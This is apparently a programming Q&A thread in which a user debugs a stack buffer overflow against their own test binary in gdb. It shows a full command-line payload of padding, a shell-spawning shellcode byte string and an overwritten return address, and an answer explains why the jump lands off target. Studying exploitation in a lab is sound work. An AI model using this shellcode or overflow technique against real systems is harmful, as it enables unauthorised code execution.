The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
(gdb) i r $eip
eip 0xbffff88d 0xbffff88d
but the program is leaded to 0xbffff88d instead of 0xbffff87d and crashed.The last one byte of the return address has been modified. Why?
I try to add a breakpoint before the function 'leave' (0x08048444 <+40>: leave ):
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
#run the program with the large payload as above
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff518: 0x41414141 0xbffff87d
#the return addr is indeed overwritten to 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
the eip is still leaded to 0xbffff88d.
I cannot figure out what makes the return address modified and when this happned.
Maybe I miss out some knowledge there. Beside the question above, I also think that gdb sometimes 'cache' the running result of the debugged program, becase sometimes the gdb show me the same result while I already change the parameters.
Thanks in advance :)
=======
Update for answering Leeor's comment:
It also crash outside gdb. Segmentation fault. The coredump file shows the eip is 0xbffff88b when segfaulted.(While my overwritten value is 0xbffff87d, the last byte is modified)
Manually overwriting the return address:
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
(gdb) run test
Starting program: /home/xxx/tests/a.out test
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xb7e7ae46
(gdb) x/2 0xbffff71c
0xbffff71c: 0xb7e7ae46 0x00000002
(gdb) set *0xbffff71c=0xbffff87d
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff87d in ?? ()
This is working as I expect(There is no valid shellcode at 0xbffff87d cause I run with parameter test. I found that when a "illegal instruction" error occurred, gdb still tell you it's Segment Fault).
But it's still not working while I run it with overflow payload:
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) set *0xbffff50c=0xbffff87d
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88b in ?? ()
The last byte of return address is modified.
I'd say execution goes to the correct address first, just that the instruction there doesn't happen to crash. Try some of the following:
use si instead of c
put a breakpoint on 0xbffff87d
disassemble code at 0xbffff87d
Since your address is on the stack, the contents may be different when stack layout changes. Note that the command line argument is also on the stack, so your runs with test and the actual payload use different stack layout.